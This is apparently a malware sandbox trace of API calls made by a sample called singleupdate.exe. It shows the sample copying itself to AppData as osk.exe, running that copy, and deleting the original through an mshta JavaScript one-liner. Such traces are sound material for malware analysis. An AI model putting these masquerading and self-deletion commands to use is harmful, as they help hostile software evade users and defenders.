(hMem=0x2090004) returned 0x3bc9748 [0210.459] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0210.459] GlobalUnlock (hMem=0x209000c) returned 0 [0210.459] GlobalHandle (pMem=0x3bc9748) returned 0x2090004 [0210.459] GlobalUnlock (hMem=0x2090004) returned 0 [0210.459] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0210.459] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0210.459] GlobalUnlock (hMem=0x2090004) returned 0 [0210.459] GlobalLock (hMem=0x2090004) returned 0x3bc7738 [0210.459] GlobalLock (hMem=0x209000c) returned 0x3bc9748 [0210.459] GlobalHandle (pMem=0x3bc7738) returned 0x2090004 [0210.459] GlobalUnlock (hMem=0x2090004) returned 0 [0210.459] GlobalHandle (pMem=0x3bc9748) returned 0x209000c [0210.459] GlobalUnlock (hMem=0x209000c) returned 0 [0210.459] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe:Zone.Identifier", lpFindFileData=0x19efc4 | out: lpFindFileData=0x19efc4) returned 0xffffffff [0210.459] GetLastError () returned 0x7b [0210.460] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0212.569] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19ef68, nSize=0x20a | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\singleupdate.exe")) returned 0x28 [0212.569] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0212.569] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0212.569] GlobalUnlock (hMem=0x209000c) returned 0 [0212.569] GlobalLock (hMem=0x209000c) returned 0x3bc7738 [0212.569] GlobalLock (hMem=0x2090004) returned 0x3bf4718 [0212.569] GlobalHandle (pMem=0x3bc7738) returned 0x209000c [0212.569] GlobalUnlock (hMem=0x209000c) returned 0 [0212.569] GlobalHandle (pMem=0x3bf4718) returned 0x2090004 [0212.569] GlobalUnlock (hMem=0x2090004) returned 0 [0212.570] SysReAllocStringLen (in: pbstr=0x19f164*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"", len=0x8e | out: pbstr=0x19f164*="mshta.exe \"javascript:o=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"") returned 1 [0212.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:o=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"", cchWideChar=142, lpMultiByteStr=0x19e130, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:o=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 142 [0212.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e12c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0212.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"", cchWideChar=99, lpMultiByteStr=0x19e130, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"o.DeleteFile(!@!);close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 99 [0212.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e12c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0212.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=");setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"", cchWideChar=72, lpMultiByteStr=0x19e130, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=");setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\");close()}catch(e){}},10);\"o.DeleteFile(!@!);close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 72 [0212.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e12c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0212.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@!);close()}catch(e){}},10);\"", cchWideChar=29, lpMultiByteStr=0x19e130, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@!);close()}catch(e){}},10);\"o.DeleteFile(!@!);close()}catch(e){}},10);\");close()}catch(e){}},10);\"o.DeleteFile(!@!);close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 29 [0212.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e12c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0212.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=");close()}catch(e){}},10);\"", cchWideChar=27, lpMultiByteStr=0x19e130, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=");close()}catch(e){}},10);\";\"o.DeleteFile(!@!);close()}catch(e){}},10);\");close()}catch(e){}},10);\"o.DeleteFile(!@!);close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 27 [0212.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e12c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0212.571] SysReAllocStringLen (in: pbstr=0x19f1ac*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"", len=0x8e | out: pbstr=0x19f1ac*="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"") returned 1 [0212.571] SysReAllocStringLen (in: pbstr=0x19f208*="mshta.exe \"javascript:o=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{o.DeleteFile(!@!);close()}catch(e){}},10);\"", psz="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"", len=0x8e | out: pbstr=0x19f208*="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"") returned 1 [0212.571] SysReAllocStringLen (in: pbstr=0x19f164*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"", len=0x8e | out: pbstr=0x19f164*="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"") returned 1 [0212.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"", cchWideChar=142, lpMultiByteStr=0x19e130, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 142 [0212.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19e12c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0212.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="');close()}catch(e){}},10);\"", cchWideChar=28, lpMultiByteStr=0x19e130, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="');close()}catch(e){}},10);\"ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"c", lpUsedDefaultChar=0x0) returned 28 [0212.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19e12c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0212.571] SysReAllocStringLen (in: pbstr=0x19f1a8*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"", len=0x9d | out: pbstr=0x19f1a8*="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"") returned 1 [0212.572] SysReAllocStringLen (in: pbstr=0x19f208*="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"", psz="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"", len=0x9d | out: pbstr=0x19f208*="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"") returned 1 [0212.572] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop\\", lpStartupInfo=0x19f1c4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f1b4 | out: lpCommandLine="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);\"", lpProcessInformation=0x19f1b4*(hProcess=0x3fc, hThread=0x404, dwProcessId=0xfe4, dwThreadId=0xe0)) returned 1 [0212.953] ExitProcess (uExitCode=0x0) Thread: id = 29 os_tid = 0x9e0 Thread: id = 30 os_tid = 0xe90 Thread: id = 31 os_tid = 0xf28 Thread: id = 39 os_tid = 0xed0 Thread: id = 40 os_tid = 0xe98 Thread: id = 41 os_tid = 0x4a8 Thread: id = 42 os_tid = 0x4a4 Process: id = "6" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x14f75000" os_pid = "0xfb4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xe64" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 32 os_tid = 0xf1c [0208.980] GetModuleHandleA (lpModuleName=0x0) returned 0xc00000 [0208.980] __set_app_type (_Type=0x1) [0208.980] __p__fmode () returned 0x77ae3c14 [0208.980] __p__commode () returned 0x77ae49ec [0208.980] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc16fd0) returned 0x0 [0208.980] __getmainargs (in: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac, _DoWildCard=0, _StartInfo=0xc2d1b8 | out: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac) returned 0 [0208.980] _onexit (_Func=0xc18030) returned 0xc18030 [0208.980] _onexit (_Func=0xc18040) returned 0xc18040 [0208.980] _onexit (_Func=0xc18050) returned 0xc18050 [0208.980] _onexit (_Func=0xc18060) returned 0xc18060 [0208.981] _onexit (_Func=0xc18070) returned 0xc18070 [0208.981] _onexit (_Func=0xc18080) returned 0xc18080 [0208.981] GetCurrentThreadId () returned 0xf1c [0208.981] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf1c) returned 0xbc [0208.981] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0208.981] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadUILanguage") returned 0x75ea4f70 [0208.981] SetThreadUILanguage (LangId=0x0) returned 0x2ef0409 [0208.991] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0208.991] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xbef8f4 | out: phkResult=0xbef8f4*=0x0) returned 0x2 [0208.991] VirtualQuery (in: lpAddress=0xbef8ff, lpBuffer=0xbef8ac, dwLength=0x1c | out: lpBuffer=0xbef8ac*(BaseAddress=0xbef000, AllocationBase=0xaf0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0208.992] VirtualQuery (in: lpAddress=0xaf0000, lpBuffer=0xbef8ac, dwLength=0x1c | out: lpBuffer=0xbef8ac*(BaseAddress=0xaf0000, AllocationBase=0xaf0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0208.992] VirtualQuery (in: lpAddress=0xaf1000, lpBuffer=0xbef8ac, dwLength=0x1c | out: lpBuffer=0xbef8ac*(BaseAddress=0xaf1000, AllocationBase=0xaf0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0208.992] VirtualQuery (in: lpAddress=0xaf3000, lpBuffer=0xbef8ac, dwLength=0x1c | out: lpBuffer=0xbef8ac*(BaseAddress=0xaf3000, AllocationBase=0xaf0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0208.992] VirtualQuery (in: lpAddress=0xbf0000, lpBuffer=0xbef8ac, dwLength=0x1c | out: lpBuffer=0xbef8ac*(BaseAddress=0xbf0000, AllocationBase=0xbf0000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0208.992] GetConsoleOutputCP () returned 0x1b5 [0209.006] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0209.007] SetConsoleCtrlHandler (HandlerRoutine=0xc27260, Add=1) returned 1 [0209.007] _get_osfhandle (_FileHandle=1) returned 0x90 [0209.007] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc3388c | out: lpMode=0xc3388c) returned 1 [0209.028] _get_osfhandle (_FileHandle=0) returned 0x8c [0209.028] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33888 | out: lpMode=0xc33888) returned 1 [0209.163] _get_osfhandle (_FileHandle=1) returned 0x90 [0209.163] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0209.383] _get_osfhandle (_FileHandle=1) returned 0x90 [0209.383] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0209.455] _get_osfhandle (_FileHandle=1) returned 0x90 [0209.455] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0209.612] _get_osfhandle (_FileHandle=0) returned 0x8c [0209.612] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0209.689] _get_osfhandle (_FileHandle=0) returned 0x8c [0209.689] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0209.767] GetEnvironmentStringsW () returned 0x31b4c68* [0209.767] GetProcessHeap () returned 0x31b0000 [0209.767] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xaca) returned 0x31b5740 [0209.767] FreeEnvironmentStringsA (penv="A") returned 1 [0209.767] GetProcessHeap () returned 0x31b0000 [0209.767] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x4) returned 0x31b4748 [0209.767] GetEnvironmentStringsW () returned 0x31b4c68* [0209.767] GetProcessHeap () returned 0x31b0000 [0209.767] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xaca) returned 0x31b6218 [0209.767] FreeEnvironmentStringsA (penv="A") returned 1 [0209.767] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbee850 | out: phkResult=0xbee850*=0xcc) returned 0x0 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x0, lpData=0xbee85c*=0x0, lpcbData=0xbee854*=0x1000) returned 0x2 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x4, lpData=0xbee85c*=0x1, lpcbData=0xbee854*=0x4) returned 0x0 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x0, lpData=0xbee85c*=0x1, lpcbData=0xbee854*=0x1000) returned 0x2 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x4, lpData=0xbee85c*=0x0, lpcbData=0xbee854*=0x4) returned 0x0 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x4, lpData=0xbee85c*=0x40, lpcbData=0xbee854*=0x4) returned 0x0 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x4, lpData=0xbee85c*=0x40, lpcbData=0xbee854*=0x4) returned 0x0 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x0, lpData=0xbee85c*=0x40, lpcbData=0xbee854*=0x1000) returned 0x2 [0209.768] RegCloseKey (hKey=0xcc) returned 0x0 [0209.768] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbee850 | out: phkResult=0xbee850*=0xcc) returned 0x0 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x0, lpData=0xbee85c*=0x40, lpcbData=0xbee854*=0x1000) returned 0x2 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x4, lpData=0xbee85c*=0x1, lpcbData=0xbee854*=0x4) returned 0x0 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x0, lpData=0xbee85c*=0x1, lpcbData=0xbee854*=0x1000) returned 0x2 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x4, lpData=0xbee85c*=0x0, lpcbData=0xbee854*=0x4) returned 0x0 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x4, lpData=0xbee85c*=0x9, lpcbData=0xbee854*=0x4) returned 0x0 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x4, lpData=0xbee85c*=0x9, lpcbData=0xbee854*=0x4) returned 0x0 [0209.768] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbee858, lpData=0xbee85c, lpcbData=0xbee854*=0x1000 | out: lpType=0xbee858*=0x0, lpData=0xbee85c*=0x9, lpcbData=0xbee854*=0x1000) returned 0x2 [0209.768] RegCloseKey (hKey=0xcc) returned 0x0 [0209.768] time (in: timer=0x0 | out: timer=0x0) returned 0x5cb057ba [0209.768] srand (_Seed=0x5cb057ba) [0209.768] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"" [0209.768] malloc (_Size=0x4000) returned 0x31921f0 [0209.769] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\FD1HVy\\Desktop\\singleupdate.exe\" \"C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe\"" [0209.769] malloc (_Size=0xffce) returned 0x32b0048 [0209.769] ??_V@YAXPAX@Z () returned 0xbef834 [0209.770] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x32b0048 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0209.770] malloc (_Size=0xffce) returned 0x32c0020 [0209.770] ??_V@YAXPAX@Z () returned 0xbef608 [0209.771] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32c0020, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0209.771] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0209.771] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0209.771] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0209.771] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0209.771] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0209.771] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0209.771] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0209.771] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0209.771] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0209.771] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0209.771] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0209.771] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0209.771] GetProcessHeap () returned 0x31b0000 [0209.771] RtlFreeHeap (HeapHandle=0x31b0000, Flags=0x0, BaseAddress=0x31b5740) returned 1 [0209.771] GetEnvironmentStringsW () returned 0x31b4c68* [0209.771] GetProcessHeap () returned 0x31b0000 [0209.771] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0xae2) returned 0x31b77e0 [0209.771] FreeEnvironmentStringsA (penv="A") returned 1 [0209.771] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0209.771] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0209.771] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0209.771] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0209.772] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0209.772] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0209.772] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0209.772] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0209.772] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0209.772] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0209.772] malloc (_Size=0xffce) returned 0x32cfff8 [0209.772] ??_V@YAXPAX@Z () returned 0xbef3a0 [0209.772] GetProcessHeap () returned 0x31b0000 [0209.772] RtlAllocateHeap (HeapHandle=0x31b0000, Flags=0x8, Size=0x30) returned 0x31b0ae0 [0209.772] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x32cfff8 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0209.772] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x32cfff8, lpFilePart=0xbef3ec | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xbef3ec*="system32") returned 0x13 [0209.773] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0209.773] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xbef170 | out: lpFindFileData=0xbef170) returned 0x31b0b18 [0209.773] FindClose (in: hFindFile=0x31b0b18 | out: hFindFile=0x31b0b18) returned 1 [0209.773] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xbef170 | out: lpFindFileData=0xbef170) returned 0x31b0b18 [0209.773] FindClose (in: hFindFile=0x31b0b18 | out: hFindFile=0x31b0b18) returned 1 [0209.773] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0209.773] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0209.773] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0209.773] GetProcessHeap () returned 0x31b0000 